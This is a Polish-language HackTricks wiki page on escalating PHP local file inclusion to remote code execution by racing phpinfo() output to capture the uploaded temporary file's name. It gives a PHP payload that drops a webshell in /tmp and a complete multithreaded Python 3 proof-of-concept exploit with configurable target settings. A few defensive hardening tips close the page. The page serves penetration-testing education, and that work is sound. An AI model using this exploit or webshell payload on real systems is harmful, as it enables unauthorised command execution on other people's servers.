LFI to RCE via PHPInfo

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów:

  • Dostępnej strony, która wypisuje wynik phpinfo().
  • Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika).
  • Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części.
  • Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę.

Klasyczne opracowanie i oryginalny PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Uwagi dotyczące oryginalnego PoC

  • Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name].
  • Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku.

Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

Teoria

  • Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony.
  • Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name.
  • Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką.

W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\Windows\Temp\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir.

Przebieg ataku (krok po kroku)

  1. Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~5–10KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES.

  2. Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php.

  3. Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia.

Wskazówki

  • Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu.
  • Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu.
  • Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego.

Minimalny PoC Python 3 (oparty na socketach)

Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD.

python
#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Rozwiązywanie problemów

  • Nigdy nie widzisz tmp_name: Upewnij się, że naprawdę wysyłasz POST multipart/form-data do phpinfo(). phpinfo() wypisuje $_FILES tylko gdy pole przesyłania pliku było obecne.
  • Wyjście nie jest wysyłane wcześnie: zwiększ padding, dodaj więcej dużych nagłówków lub wyślij wiele równoległych żądań. Niektóre SAPI/bufory nie wypuszczają danych aż do osiągnięcia większych progów; dostosuj odpowiednio.
  • Ścieżka LFI zablokowana przez open_basedir lub chroot: musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE.
  • Katalog tymczasowy nie jest /tmp: phpinfo() wypisuje pełną absolutną ścieżkę tmp_name; użyj tej dokładnej ścieżki w LFI.

Wskazówki obronne

  • Nigdy nie udostępniaj phpinfo() w środowisku produkcyjnym. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu.
  • Trzymaj file_uploads wyłączone jeśli nie są potrzebne. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację wszystkich ścieżek include/require.
  • Traktuj każde LFI jako krytyczne; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE.

Powiązane techniki HackTricks

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

Referencje

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks